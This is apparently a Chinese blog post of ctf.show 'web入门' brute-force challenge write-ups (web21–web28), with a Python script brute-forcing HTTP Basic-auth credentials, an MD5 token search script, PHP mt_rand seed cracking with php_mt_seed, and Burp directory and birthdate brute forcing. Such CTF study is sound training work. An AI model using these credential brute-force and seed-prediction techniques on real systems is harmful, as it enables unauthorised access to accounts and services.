web入门(爆破)

 

 

1、web21

tomcat认证爆破–用户名:密码,一般使用custom iterator爆破

From:https://www.cnblogs.com/007NBqaq/p/13220297.html

得到爆破字典和需要输入账号密码的网页,于是先尝试输入账号admin密码1234进行抓包

抓包后没有看到admin或password的字段,但是看到一串base编码

解码结果为admin:1234即为我们输入的账号和密码

将数据包发送到爆破模块,选择中账号密码

选择自定义迭代器,分别导入字典

position1:用户名

position2:

position3:密码

选择Payload Processing进行编码设置

因为base64编码存在=,所以取消Palyload Encoding编码,爆破即可得到flag

提示也有脚本

# -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-11-20 19:16:49 # @Last Modified by: h1xa # @Last Modified time: 2020-11-20 20:28:42 # @email: h1xa@ctfer.com # @link: https://ctfer.com import time import requests import base64 url = 'http://xxxx.ctf.show/index.php' password = [] with open("1.txt", "r") as f: while True: data = f.readline() if data: password.append(data) else: break for p in password: strs = 'admin:'+ p[:-1] header={ 'Authorization':'Basic {}'.format(base64.b64encode(strs.encode('utf-8')).decode('utf-8')) } rep =requests.get(url,headers=header) time.sleep(0.2) if rep.status_code ==200: print(rep.text) break

2、web22

根据题目提示爆破子域名,使用在线工具进行爆破即可

访问vip.ctf.show时即可得到flag

3、web23

关键代码

if(isset($_GET['token'])){ $token = md5($_GET['token']); if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){ if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){ echo $flag; } } }else{ highlight_file(__FILE__); }

isset():检测变量是否已设置并且非NULL,若传入多个参数,只有全部非NULL才会返回true

intval():获取变量的整数值,不能用于object

PHP的三个等号:比较对象的值和类型都要一样

两个等号:值相等即可

$a=10 $b='10' $a==$b //true $a===$b //false,a是数字型,b是字符型

此代码的意思为:

当md5码满足,第二位=第15位=第18位时,如果(第二位+第15位+第18位/第二位=第32位)整数,时输出flag

因此脚本为:

大佬的python脚本:

mport hashlib dic = "0123456789qazwsxedcrfvtgbyhnujmikolp" for a in dic: for b in dic: t = (str(a)+str(b)).encode("utf-8") md5 = hashlib.md5(t).hexdigest() if md5[1:2] == md5[14:15] and md5[14:15]== md5[17:18]: if int(float(md5[1:2]))+int(float(md5[14:15]))+int(float(md5[17:18]))/int(float(md5[1:2]))==int(float(md5[31:32])): print(t)

hashlib是涉及安全散列和消息摘要,提供不同的加密算法接口,如MD5、SHA1、SHA224

digest()返回摘要,作为二进制数据字符串值

hexdigest()返回摘要,作为十六进制数据字符串值

传递运行出的token即可
URL

4、web24

PHP伪随机数种子

题目:

include("flag.php"); if(isset($_GET['r'])){ $r = $_GET['r']; mt_srand(372619038); if(intval($r)===intval(mt_rand())){ echo $flag; } }else{ highlight_file(__FILE__); echo system('cat /proc/version'); }
  • 代码分析:
mt_srand():播种随机数生成器 intval():获取变量的整数值 mt_rand():返回随机整数

通过题目代码分析得我们需要将得到的伪随机数进行GET传参即可得到flag

<?php mt_srand(372619038); echo (mt_rand()); ?> //1155388967 //URL?r=1155388967即可得到flag

5、web25

From:https://blog.csdn.net/qq_46918279/article/details/119849216

伪随机漏洞

题目

if(isset($_GET['r'])){ $r = $_GET['r']; mt_srand(hexdec(substr(md5($flag), 0,8))); $rand = intval($r)-intval(mt_rand()); if((!$rand)){ if($_COOKIE['token']==(mt_rand()+mt_rand())){ echo $flag; } }else{ echo $rand; } }else{ highlight_file(__FILE__); echo system('cat /proc/version'); }
  • 代码分析:
substr(str,start,length):返回部分字符串,第一个字符是0 hexdec():把十六进制字符串转换为十进制数字(float/int) $_COOKIE:用于取回 cookie 的值

将我们输入的r的整数值等于随机数的随机值时可以进入第二个if,当cookie里的token==(mt_rand()+mt_rand())时会输出flag

因为mt_srand(hexdec(substr(md5($flag), 0,8)))随机数种子不变,所以生成的随机数序列是不变的。

因此当我们GET传入r=0将会得到随机数序列的一个随机数的负值,那传入绝对值就能进入第二个if

?r=0

之后使用php_mt_seed得到可能的随机数种子

将下载好的压缩包解压后(三个文件)再在目录下使用mark更新(四个文件)得到php_mt_seed文件

执行time ./php_mt_seed 2059482917得到随机数种子
在这里插入图片描述
再使用脚本计算(mt_rand()+mt_rand())

<?php mt_srand(seed); echo mt_rand()."&&"; echo mt_rand()+mt_rand(); ?> //2059482917&&2754208432

传递参数r=2059482917 token=2754208432,获得flag

6、web26

网页代码:

function check(){ $.ajax({ url:'checkdb.php', type: 'POST', dataType:'json', data:{ 'a':$('#a').val(), 'p':$('#p').val(), 'd':$('#d').val(), 'u':$('#u').val(), 'pass':$('#pass').val() }, success:function(data){ alert(data['msg']); }, error:function(data){ alert(data['msg']); } }); }
  • 代码解析:

jQuery:

From:https://www.cnblogs.com/tylerdonet/p/3520862.html

$.ajax():通过HTTP请求加载远程数据 url:类型为string,默认为当前页地址,发送请求地址 type:类型为string,请求方式,默认为GET datatype:类型为string,预期服务器返回的数据类型 data:类型为objectstring,发送到服务器的数据。对象必须为key/value success、error:类型为function,请求成功或失败后被调用的函数 'a':$('#a').val(): $("#a")是id选择器,获得id为a的标签,通过.val(),获得这个标签的value的值,赋值给你声明的变量var a 这里val未设置参数,则返回被选元素当前值

抓包后将参数全部设置为空即可得到flag或者抓包爆破pass也可得到flag

7、web27

打开网页是一个教务管理系统,发现录取名单可以下载,学籍查询系统可以访问,输入嵇开梦同学的信息爆破


很快就爆破出来出生年月为19911016

将数据包的数据Unicode,解码即可

8、web28

题目提示:

通过暴力破解目录/0-100/0-100/看返回数据包,爆破的时候去掉2.txt 仅仅爆破目录即可

于是先抓包,爆破目录即可

这里有两个参数使用cluster bomb模式

这里有一个bug,需要点击下面的Hex再回到decimal才能刷新成功设置参数

过滤一下,只要2XX的响应包,即可得到flag


__EOF__

本文作者E=MC^2
本文链接https://www.cnblogs.com/zeroEMC/p/16394474.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   EMCzero  阅读(211)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 单线程的Redis速度为什么快?
· SQL Server 2025 AI相关能力初探
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 展开说说关于C#中ORM框架的用法!
点击右上角即可分享
微信分享提示